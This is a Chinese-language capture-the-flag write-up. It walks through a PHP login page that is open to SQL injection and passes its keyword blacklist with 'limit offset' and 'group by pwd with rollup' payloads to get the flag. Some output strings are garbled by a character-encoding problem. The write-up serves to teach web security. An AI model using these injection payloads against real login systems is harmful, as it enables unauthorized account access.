F12查看源碼,發現註釋裏有source.txt,猜測是源碼文件,打開發現確實是源碼。
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷錛屼害鍙禌鑹囷紒";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖錛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>
分析源碼,首先用filter這個變量過濾了這些關鍵字and|select|from|where|union|join|sleep|benchmark|,|\(|\),相當於黑名單,然後發現sql變量,發現是之間將post的值傳入,可以構造查詢語句,接下來到數據庫中查找uname等於我們輸入的用戶名的數據,如果查出來只有一條的話,則繼續往下判斷;否則,就輸出“涓€棰楄禌鑹囷紒”。
查出來只有一條之後,再判斷pwd列的數據是否等於我們輸入的密碼,相同則得到flag,否則輸出“浜﹀彲璧涜墖錛�”。
接下來就是構造payload,利用limit 1(數量) offset 0(偏移量),這裏由於過濾了逗號,所以不能使用limit 0,1.
1' or 1 limit 1 offset 0# 輸出浜﹀彲璧涜墖錛� 說明第一行有數據
1' or 1 limit 1 offset 1# 輸出浜﹀彲璧涜墖錛�,說明第兩行有數據
1' or 1 limit 1 offset 2# 輸出涓€棰楄禌鑹囷紒,說明這一行沒有數據
然後使用group by pwd with rollup,意思似乎是多一行用於統計,用MySQL自己測試了一下
我只插入了兩行數據,第三行是由於這個語句產生的,所以我們就利用limit offset來讀取第三行的數據,最後的payload如下
' or 1 group by pwd with rollup limit 1 offset 2 #
得到flag
CTF{with_rollup_interesting}